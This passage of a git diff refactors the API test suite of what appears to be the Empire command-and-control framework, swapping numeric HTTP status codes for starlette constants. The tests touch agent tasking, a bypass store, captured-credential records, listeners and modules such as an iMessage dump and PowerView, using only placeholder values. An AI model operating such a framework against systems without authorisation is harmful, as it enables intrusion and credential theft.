test_get_task_for_agent_not_found(client, admin_auth_header, agent): def test_get_task_for_agent(client, admin_auth_header, agent, agent_task): response = client.get(f"/api/v2/agents/{agent}/tasks/1", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] == 1 assert response.json()["agent_id"] == agent @@ -1008,7 +1009,7 @@ def test_create_task_archived_agent(client, admin_auth_header, agent_archived): headers=admin_auth_header, json={"command": 'echo "HELLO WORLD"'}, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == f"[!] Agent {agent_archived.session_id} is archived." @@ -1020,7 +1021,7 @@ def test_delete_task(client, admin_auth_header, agent, agent_task): f"/api/v2/agents/{agent}/tasks/1", headers=admin_auth_header ) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT def test_last_task(client, admin_auth_header, agent, empire_config): @@ -1030,7 +1031,7 @@ def test_last_task(client, admin_auth_header, agent, empire_config): json={"command": 'echo "HELLO WORLD"'}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED location = empire_config.yaml["debug"]["last_task"]["file"] with open(location) as f: @@ -1049,5 +1050,5 @@ def test_create_task_exit(client, admin_auth_header, agent): json={}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 diff --git a/empire/test/test_agents.py b/empire/test/test_agents.py index 746935fa3..da94283bd 100644 --- a/empire/test/test_agents.py +++ b/empire/test/test_agents.py @@ -194,23 +194,26 @@ def test_stale_expression(empire_config): db = SessionLocal() # assert all 4 agents are in the database + expected_agents = 4 agents = db.query(models.Agent).all() - assert len(agents) == 4 + assert len(agents) == expected_agents # assert one of the agents is stale via its hybrid property assert any(agent.stale for agent in agents) - # assert we can filter on stale via the hybrid expression + # assert we can filter on stale via the hybrid expressions + expected_stale = 1 stale = ( db.query(models.Agent).filter(models.Agent.stale == True).all() # noqa: E712 ) - assert len(stale) == 1 + assert len(stale) == expected_stale # assert we can filter on stale via the hybrid expression + expected_not_stale = 3 not_stale = ( db.query(models.Agent).filter(models.Agent.stale == False).all() # noqa: E712 ) - assert len(not_stale) == 3 + assert len(not_stale) == expected_not_stale def test_large_internal_ip_works(session_local, host, models, agent): diff --git a/empire/test/test_bypass_api.py b/empire/test/test_bypass_api.py index ca491b7ce..fc71d5353 100644 --- a/empire/test/test_bypass_api.py +++ b/empire/test/test_bypass_api.py @@ -1,14 +1,17 @@ +from starlette import status + + def test_get_bypass_not_found(client, admin_auth_header): response = client.get("/api/v2/bypasses/9999", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Bypass not found for id 9999" def test_get_bypass(client, admin_auth_header): response = client.get("/api/v2/bypasses/1", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] == 1 assert len(response.json()["code"]) > 0 @@ -16,7 +19,7 @@ def test_get_bypass(client, admin_auth_header): def test_get_bypasses(client, admin_auth_header): response = client.get("/api/v2/bypasses", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) > 0 @@ -27,7 +30,7 @@ def test_create_bypass_name_conflict(client, admin_auth_header): json={"name": "mattifestation", "code": "x=0;", "language": "powershell"}, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == "Bypass with name mattifestation already exists." ) @@ -40,7 +43,7 @@ def test_create_bypass(client, admin_auth_header): json={"name": "Test Bypass", "code": "x=0;", "language": "powershell"}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["name"] == "Test Bypass" assert response.json()["code"] == "x=0;" @@ -52,7 +55,7 @@ def test_update_bypass_not_found(client, admin_auth_header): json={"name": "Test Bypass", "code": "x=0;"}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Bypass not found for id 9999" @@ -66,7 +69,7 @@ def test_update_bypass_name_conflict(client, admin_auth_header): json={"name": bypass_1_name, "code": "x=0;", "language": "powershell"}, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == f"Bypass with name {bypass_1_name} already exists." ) @@ -86,16 +89,16 @@ def test_update_bypass(client, admin_auth_header): def test_delete_bypass(client, admin_auth_header): response = client.delete("/api/v2/bypasses/1", headers=admin_auth_header) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT response = client.get("/api/v2/bypasses/1", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND def test_reset_bypasses(client, admin_auth_header): response = client.post("/api/v2/bypasses/reset", headers=admin_auth_header) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT initial_response = client.get("/api/v2/bypasses", headers=admin_auth_header) initial_bypasses = initial_response.json()["records"] @@ -105,10 +108,10 @@ def test_reset_bypasses(client, admin_auth_header): headers=admin_auth_header, json={"name": "Test Bypass", "code": "x=0;", "language": "powershell"}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED response = client.post("/api/v2/bypasses/reset", headers=admin_auth_header) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT final_response = client.get("/api/v2/bypasses", headers=admin_auth_header) final_bypasses = final_response.json()["records"] @@ -122,14 +125,14 @@ def test_reload_bypasses(client, admin_auth_header): headers=admin_auth_header, json={"name": "Test Bypass", "code": "x=0;", "language": "powershell"}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED new_bypass_id = response.json()["id"] initial_response = client.get("/api/v2/bypasses", headers=admin_auth_header) initial_bypasses = initial_response.json()["records"] response = client.post("/api/v2/bypasses/reload", headers=admin_auth_header) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT final_response = client.get("/api/v2/bypasses", headers=admin_auth_header) final_bypasses = final_response.json()["records"] diff --git a/empire/test/test_common_agents.py b/empire/test/test_common_agents.py index c8df8e6ca..f88a3058a 100644 --- a/empire/test/test_common_agents.py +++ b/empire/test/test_common_agents.py @@ -1,5 +1,7 @@ import os +from starlette import status + def test_agent_logging(client, admin_auth_header, agent, empire_config): """ @@ -14,7 +16,7 @@ def test_agent_logging(client, admin_auth_header, agent, empire_config): }, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED agent_log_file = os.path.join( empire_config.yaml["directories"]["downloads"], agent, "agent.log" diff --git a/empire/test/test_credential_api.py b/empire/test/test_credential_api.py index 3d536d79f..af209e1e5 100644 --- a/empire/test/test_credential_api.py +++ b/empire/test/test_credential_api.py @@ -1,6 +1,7 @@ import copy import pytest +from starlette import status @pytest.fixture(scope="function") @@ -19,7 +20,7 @@ def test_create_credential(client, admin_auth_header, base_credential): "/api/v2/credentials/", headers=admin_auth_header, json=base_credential ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 assert response.json()["credtype"] == "hash" assert response.json()["domain"] == "the-domain" @@ -35,7 +36,7 @@ def test_create_credential_unique_constraint_failure( "/api/v2/credentials/", headers=admin_auth_header, json=base_credential ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "Credential not created. Duplicate detected." @@ -44,7 +45,7 @@ def test_update_credential_not_found(client, admin_auth_header, base_credential) "/api/v2/credentials/9999", headers=admin_auth_header, json=base_credential ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Credential not found for id 9999" @@ -56,7 +57,7 @@ def test_update_credential_unique_constraint_failure( response = client.post( "/api/v2/credentials/", headers=admin_auth_header, json=credential_2 ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED response = client.put( f"/api/v2/credentials/{credential}", @@ -64,7 +65,7 @@ def test_update_credential_unique_constraint_failure( json=base_credential, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "Credential not updated. Duplicate detected." @@ -81,7 +82,7 @@ def test_update_credential(client, admin_auth_header, credential): json=updated_credential, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["domain"] == "new-domain" assert response.json()["password"] == "password3" @@ -89,7 +90,7 @@ def test_update_credential(client, admin_auth_header, credential): def test_get_credential_not_found(client, admin_auth_header): response = client.get("/api/v2/credentials/9999", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Credential not found for id 9999" @@ -98,14 +99,14 @@ def test_get_credential(client, admin_auth_header, credential): f"/api/v2/credentials/{credential}", headers=admin_auth_header ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] > 0 def test_get_credentials(client, admin_auth_header): response = client.get("/api/v2/credentials", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) > 0 @@ -118,7 +119,7 @@ def test_get_credentials_search(client, admin_auth_header, credential): f"/api/v2/credentials?search={password[:3]}", headers=admin_auth_header ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) == 1 assert response.json()["records"][0]["password"] == password @@ -126,7 +127,7 @@ def test_get_credentials_search(client, admin_auth_header, credential): "/api/v2/credentials?search=qwerty", headers=admin_auth_header ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) == 0 @@ -135,10 +136,10 @@ def test_delete_credential(client, admin_auth_header, credential): f"/api/v2/credentials/{credential}", headers=admin_auth_header ) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT response = client.get( f"/api/v2/credentials/{credential}", headers=admin_auth_header ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND diff --git a/empire/test/test_download_api.py b/empire/test/test_download_api.py index 120f746f9..2f11cb69e 100644 --- a/empire/test/test_download_api.py +++ b/empire/test/test_download_api.py @@ -1,13 +1,13 @@ import urllib.parse from pathlib import Path -download_id = None +from starlette import status def test_get_download_not_found(client, admin_auth_header): response = client.get("/api/v2/downloads/9999", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Download not found for id 9999" @@ -23,9 +23,8 @@ def test_create_download(client, admin_auth_header): }, ) - assert response.status_code == 201 - global download_id - download_id = response.json()["id"] + assert response.status_code == status.HTTP_201_CREATED + assert response.json()["id"] > 0 def test_create_download_appends_number_if_already_exists(client, admin_auth_header): @@ -40,7 +39,7 @@ def test_create_download_appends_number_if_already_exists(client, admin_auth_hea }, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 response = client.post( @@ -54,26 +53,26 @@ def test_create_download_appends_number_if_already_exists(client, admin_auth_hea }, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 assert response.json()["location"].endswith(").yaml") assert response.json()["filename"].endswith(").yaml") -def test_get_download(client, admin_auth_header): - response = client.get(f"/api/v2/downloads/{download_id}", headers=admin_auth_header) +def test_get_download(client, admin_auth_header, download): + response = client.get(f"/api/v2/downloads/{download}", headers=admin_auth_header) - assert response.status_code == 200 - assert response.json()["id"] == download_id + assert response.status_code == status.HTTP_200_OK + assert response.json()["id"] == download assert "test-upload-2" in response.json()["filename"] -def test_download_download(client, admin_auth_header): +def test_download_download(client, admin_auth_header, download): response = client.get( - f"/api/v2/downloads/{download_id}/download", headers=admin_auth_header + f"/api/v2/downloads/{download}/download", headers=admin_auth_header ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.headers.get("content-disposition").lower().startswith( 'attachment; filename="test-upload-2' ) or response.headers.get("content-disposition").lower().startswith( @@ -82,10 +81,11 @@ def test_download_download(client, admin_auth_header): def test_get_downloads(client, admin_auth_header): + min_expected_downloads = 2 response = client.get("/api/v2/downloads", headers=admin_auth_header) - assert response.status_code == 200 - assert response.json()["total"] > 2 + assert response.status_code == status.HTTP_200_OK + assert response.json()["total"] > min_expected_downloads def test_get_downloads_with_query(client, admin_auth_header): @@ -93,12 +93,12 @@ def test_get_downloads_with_query(client, admin_auth_header): "/api/v2/downloads?query=gobblygook", headers=admin_auth_header ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["total"] == 0 assert response.json()["records"] == [] q = urllib.parse.urlencode({"query": "test-upload"}) response = client.get(f"/api/v2/downloads?{q}", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["total"] > 1 diff --git a/empire/test/test_helpers.py b/empire/test/test_helpers.py index 2a1147598..0062c9ad8 100644 --- a/empire/test/test_helpers.py +++ b/empire/test/test_helpers.py @@ -2,6 +2,7 @@ def test_dynamic_powershell(): + expected_len = 96863 with open( "empire/server/data/module_source/situational_awareness/network/powerview.ps1", ) as file: @@ -9,4 +10,4 @@ def test_dynamic_powershell(): new_script = helpers.generate_dynamic_powershell_script( script, "Find-LocalAdminAccess" ) - assert len(new_script) == 96863 + assert len(new_script) == expected_len diff --git a/empire/test/test_hooks_internal.py b/empire/test/test_hooks_internal.py index 4c0122585..6c3ecb1f5 100644 --- a/empire/test/test_hooks_internal.py +++ b/empire/test/test_hooks_internal.py @@ -79,7 +79,8 @@ def test_ps_hook(client, session_local, models, host, agent, existing_processes) db.flush() processes = db.query(models.HostProcess).all() - assert len(processes) == 4 + expected_processes = 4 + assert len(processes) == expected_processes assert processes[0].process_name == "should_be_stale" assert processes[0].stale is True assert processes[1].process_name == "has_been_updated" diff --git a/empire/test/test_host_api.py b/empire/test/test_host_api.py index c0fcecf94..af9fbb60c 100644 --- a/empire/test/test_host_api.py +++ b/empire/test/test_host_api.py @@ -1,19 +1,22 @@ +from starlette import status + + def test_get_host_not_found(client, admin_auth_header): response = client.get("/api/v2/hosts/9999", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Host not found for id 9999" def test_get_host(client, host, admin_auth_token, admin_auth_header): response = client.get(f"/api/v2/hosts/{host}", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] == host def test_get_hosts(client, host, admin_auth_header): response = client.get("/api/v2/hosts", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) > 0 diff --git a/empire/test/test_host_process_api.py b/empire/test/test_host_process_api.py index 472874c6b..a07da9a8c 100644 --- a/empire/test/test_host_process_api.py +++ b/empire/test/test_host_process_api.py @@ -1,4 +1,5 @@ import pytest +from starlette import status @pytest.fixture(scope="function", autouse=True) @@ -37,7 +38,7 @@ def processes(db, host, agent, models): def test_get_process_host_not_found(client, admin_auth_header): response = client.get("/api/v2/hosts/9999/processes", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Host not found for id 9999" @@ -46,7 +47,7 @@ def test_get_process_not_found(client, admin_auth_header, host): f"/api/v2/hosts/{host}/processes/8888", headers=admin_auth_header ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert ( response.json()["detail"] == f"Process not found for host id {host} and process id 8888" @@ -59,7 +60,7 @@ def test_get_process(client, admin_auth_header, host, processes): headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["process_id"] == processes[0].process_id assert response.json()["process_name"] == processes[0].process_name assert response.json()["host_id"] == processes[0].host_id @@ -68,14 +69,14 @@ def test_get_process(client, admin_auth_header, host, processes): def test_get_processes(client, admin_auth_header, host): response = client.get(f"/api/v2/hosts/{host}/processes/", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) > 0 def test_agent_join(client, admin_auth_header, host, agent): response = client.get(f"/api/v2/hosts/{host}/processes/", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert ( len( list( diff --git a/empire/test/test_listener_api.py b/empire/test/test_listener_api.py index 74db5bcc9..6e9b366b0 100644 --- a/empire/test/test_listener_api.py +++ b/empire/test/test_listener_api.py @@ -1,10 +1,14 @@ +from starlette import status + + def test_get_listener_templates(client, admin_auth_header): + min_expected_templates = 8 response = client.get( "/api/v2/listener-templates/", headers=admin_auth_header, ) - assert response.status_code == 200 - assert len(response.json()["records"]) >= 8 + assert response.status_code == status.HTTP_200_OK + assert len(response.json()["records"]) >= min_expected_templates def test_get_listener_template(client, admin_auth_header): @@ -12,7 +16,7 @@ def test_get_listener_template(client, admin_auth_header): "/api/v2/listener-templates/http", headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["name"] == "HTTP[S]" assert response.json()["id"] == "http" assert isinstance(response.json()["options"], dict) @@ -27,7 +31,7 @@ def test_create_listener_validation_fails_required_field( response = client.post( "/api/v2/listeners/", headers=admin_auth_header, json=base_listener_copy ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "required option missing: Port" @@ -37,7 +41,7 @@ def test_create_listener_validation_fails_required_field( # listener = get_base_listener() # listener['options']['Port'] = '' # response = client.post("/api/v2/listeners/", json=listener) -# assert response.status_code == 400 +# assert response.status_code == status.HTTP_400_BAD_REQUEST # assert response.json()['detail'] == 'required listener option missing: Port' @@ -50,7 +54,7 @@ def test_create_listener_custom_validation_fails( response = client.post( "/api/v2/listeners/", headers=admin_auth_header, json=base_listener_copy ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "[!] HTTPS selected but no CertPath specified." @@ -62,7 +66,7 @@ def test_create_listener_template_not_found(client, base_listener, admin_auth_he response = client.post( "/api/v2/listeners/", headers=admin_auth_header, json=base_listener_copy ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "Listener Template qwerty not found" @@ -77,7 +81,7 @@ def test_create_listener(client, base_listener, admin_auth_header): response = client.post( "/api/v2/listeners/", headers=admin_auth_header, json=base_listener_copy ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["options"].get("xyz") is None assert response.json()["options"]["Name"] == base_listener_copy["name"] @@ -100,7 +104,7 @@ def test_create_listener_name_conflict(client, base_listener, admin_auth_header) response = client.post( "/api/v2/listeners/", headers=admin_auth_header, json=base_listener ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == f"Listener with name {base_listener['name']} already exists." @@ -112,7 +116,7 @@ def test_get_listener(client, admin_auth_header, listener): f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] == listener["id"] @@ -121,7 +125,7 @@ def test_get_listener_not_found(client, admin_auth_header): "/api/v2/listeners/9999", headers=admin_auth_header, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Listener not found for id 9999" @@ -130,7 +134,7 @@ def test_update_listener_not_found(client, base_listener, admin_auth_header): response = client.put( "/api/v2/listeners/9999", headers=admin_auth_header, json=base_listener ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Listener not found for id 9999" @@ -146,7 +150,7 @@ def test_update_listener_blocks_while_enabled(client, admin_auth_header, listene headers=admin_auth_header, json=response.json(), ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "Listener must be disabled before modifying" @@ -168,7 +172,7 @@ def test_update_listener_allows_and_disables_while_enabled( headers=admin_auth_header, json=listener, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["enabled"] is False assert response.json()["options"]["Port"] == new_port @@ -193,7 +197,7 @@ def test_update_listener_allows_while_disabled(client, admin_auth_header, listen headers=admin_auth_header, json=listener, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["enabled"] is False assert response.json()["options"]["Port"] == new_port assert response.json()["options"].get("xyz") is None @@ -216,7 +220,7 @@ def test_update_listener_name_conflict(client, base_listener, admin_auth_header) response = client.post( "/api/v2/listeners/", headers=admin_auth_header, json=base_listener_copy ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED created = response.json() created["enabled"] = False @@ -225,7 +229,7 @@ def test_update_listener_name_conflict(client, base_listener, admin_auth_header) headers=admin_auth_header, json=created, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK created["name"] = "new-listener-1" response = client.put( @@ -234,7 +238,7 @@ def test_update_listener_name_conflict(client, base_listener, admin_auth_header) json=created, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == "Listener with name new-listener-1 already exists." ) @@ -257,7 +261,7 @@ def test_update_listener_reverts_if_validation_fails( headers=admin_auth_header, json=listener, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == "incorrect type for option DefaultJitter. Expected but got " @@ -286,7 +290,7 @@ def test_update_listener_reverts_if_custom_validation_fails( headers=admin_auth_header, json=listener, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "[!] HTTPS selected but no CertPath specified." response = client.get( @@ -314,16 +318,17 @@ def test_update_listener_allows_and_enables_while_disabled( headers=admin_auth_header, json=listener, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["enabled"] is True assert response.json()["options"]["Port"] == new_port def test_get_listeners(client, admin_auth_header): + expected_listeners = 3 response = client.get("/api/v2/listeners", headers=admin_auth_header) - assert response.status_code == 200 - assert len(response.json()["records"]) == 3 + assert response.status_code == status.HTTP_200_OK + assert len(response.json()["records"]) == expected_listeners def test_delete_listener_while_enabled(client, admin_auth_header, base_listener): @@ -333,19 +338,19 @@ def test_delete_listener_while_enabled(client, admin_auth_header, base_listener) response = client.post( "/api/v2/listeners/", headers=admin_auth_header, json=to_delete ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED to_delete_id = response.json()["id"] response = client.delete( f"/api/v2/listeners/{to_delete_id}", headers=admin_auth_header ) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT response = client.get( f"/api/v2/listeners/{to_delete_id}", headers=admin_auth_header ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND def test_delete_listener_while_disabled(client, admin_auth_header, base_listener): @@ -356,15 +361,15 @@ def test_delete_listener_while_disabled(client, admin_auth_header, base_listener response = client.post( "/api/v2/listeners/", headers=admin_auth_header, json=to_delete ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED to_delete_id = response.json()["id"] response = client.delete( f"/api/v2/listeners/{to_delete_id}", headers=admin_auth_header ) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT response = client.get( f"/api/v2/listeners/{to_delete_id}", headers=admin_auth_header ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND diff --git a/empire/test/test_meta_api.py b/empire/test/test_meta_api.py index 971510a02..8262911ca 100644 --- a/empire/test/test_meta_api.py +++ b/empire/test/test_meta_api.py @@ -1,8 +1,11 @@ +from starlette import status + + def test_version(client, admin_auth_header): import empire.server.common.empire response = client.get("/api/v2/meta/version", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert ( response.json()["version"] == empire.server.common.empire.VERSION.split(" ")[0] ) diff --git a/empire/test/test_module_api.py b/empire/test/test_module_api.py index 07862b6e9..6a936247b 100644 --- a/empire/test/test_module_api.py +++ b/empire/test/test_module_api.py @@ -1,7 +1,10 @@ +from starlette import status + + def test_get_module_not_found(client, admin_auth_header): response = client.get("/api/v2/modules/some_module", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Module not found for id some_module" @@ -9,7 +12,7 @@ def test_get_module(client, admin_auth_header): uid = "python_trollsploit_osx_say" response = client.get(f"/api/v2/modules/{uid}", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] == uid assert response.json()["name"] == "Say" @@ -18,7 +21,7 @@ def test_get_module_script_module_not_found(client, admin_auth_header): uid = "this_module_does_not_exist" response = client.get(f"/api/v2/modules/{uid}/script", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == f"Module not found for id {uid}" @@ -26,7 +29,7 @@ def test_get_module_script_in_yaml(client, admin_auth_header): uid = "python_trollsploit_osx_say" response = client.get(f"/api/v2/modules/{uid}/script", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["module_id"] == uid assert response.json()["script"].startswith( "run_command('say -v {{ Voice }} {{ Text }}')" @@ -37,7 +40,7 @@ def test_get_module_script_in_path(client, admin_auth_header): uid = "powershell_code_execution_invoke_boolang" response = client.get(f"/api/v2/modules/{uid}/script", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["module_id"] == uid assert response.json()["script"].startswith("function Invoke-Boolang") @@ -46,16 +49,17 @@ def test_get_module_script_in_generate_function(client, admin_auth_header): uid = "python_collection_osx_imessage_dump" response = client.get(f"/api/v2/modules/{uid}/script", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == f"Module script not found for id {uid}" def test_get_modules(client, admin_auth_header): + min_expected_modules = 383 response = client.get("/api/v2/modules/", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK - assert len(response.json()["records"]) >= 383 + assert len(response.json()["records"]) >= min_expected_modules def test_update_module(client, admin_auth_header): @@ -64,18 +68,18 @@ def test_update_module(client, admin_auth_header): f"/api/v2/modules/{uid}", headers=admin_auth_header, json={"enabled": False} ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK response = client.get(f"/api/v2/modules/{uid}", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["enabled"] is False response = client.put( f"/api/v2/modules/{uid}", headers=admin_auth_header, json={"enabled": True} ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["enabled"] is True @@ -94,12 +98,12 @@ def test_update_modules_bulk(client, admin_auth_header): }, ) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT for uid in uids: response = client.get(f"/api/v2/modules/{uid}", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["enabled"] is False response = client.put( @@ -111,7 +115,7 @@ def test_update_modules_bulk(client, admin_auth_header): }, ) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT def test_reset_modules(client, admin_auth_header): @@ -122,10 +126,10 @@ def test_reset_modules(client, admin_auth_header): response = client.put( f"/api/v2/modules/{uid}", headers=admin_auth_header, json={"enabled": False} ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK response = client.post("/api/v2/modules/reset", headers=admin_auth_header) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT final_response = client.get("/api/v2/modules", headers=admin_auth_header) final_modules = final_response.json()["records"] @@ -141,13 +145,13 @@ def test_reload_modules(client, admin_auth_header): response = client.put( f"/api/v2/modules/{uid}", headers=admin_auth_header, json={"enabled": False} ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK initial_response = client.get("/api/v2/modules", headers=admin_auth_header) initial_modules = initial_response.json()["records"] response = client.post("/api/v2/modules/reload", headers=admin_auth_header) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT final_response = client.get("/api/v2/modules", headers=admin_auth_header) final_modules = final_response.json()["records"] @@ -159,4 +163,4 @@ def test_reload_modules(client, admin_auth_header): # Adding a reset here, so it doesn't break other tests in test_module_service response = client.post("/api/v2/modules/reset", headers=admin_auth_header) - assert response.status_code == 204 + assert response.status_code == status.HTTP_204_NO_CONTENT diff --git a/empire/test/test_modules.py b/empire/test/test_modules.py index ace6c5da0..0b126dc02 100644 --- a/empire/test/test_modules.py +++ b/empire/test/test_modules.py @@ -96,8 +96,9 @@ def test_load_modules(main_menu_mock, models, db): if messages: pytest.fail(f"warning messages encountered during testing: {messages}") - assert len(module_service.modules) > 300 - assert len(db.query(models.Module).all()) > 300 + min_modules = 300 + assert len(module_service.modules) > min_modules + assert len(db.query(models.Module).all()) > min_modules for key, module in module_service.modules.items(): if not module.advanced.custom_generate: diff --git a/empire/test/test_obfuscation_api.py b/empire/test/test_obfuscation_api.py index d8b2e5c88..3bac5dc1a 100644 --- a/empire/test/test_obfuscation_api.py +++ b/empire/test/test_obfuscation_api.py @@ -2,6 +2,7 @@ from pathlib import Path import pytest +from starlette import status from empire.test.conftest import patch_config @@ -11,14 +12,14 @@ def test_get_keyword_not_found(client, admin_auth_header): "/api/v2/obfuscation/keywords/9999", headers=admin_auth_header ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Keyword not found for id 9999" def test_get_keyword(client, admin_auth_header): response = client.get("/api/v2/obfuscation/keywords/1", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["id"] == 1 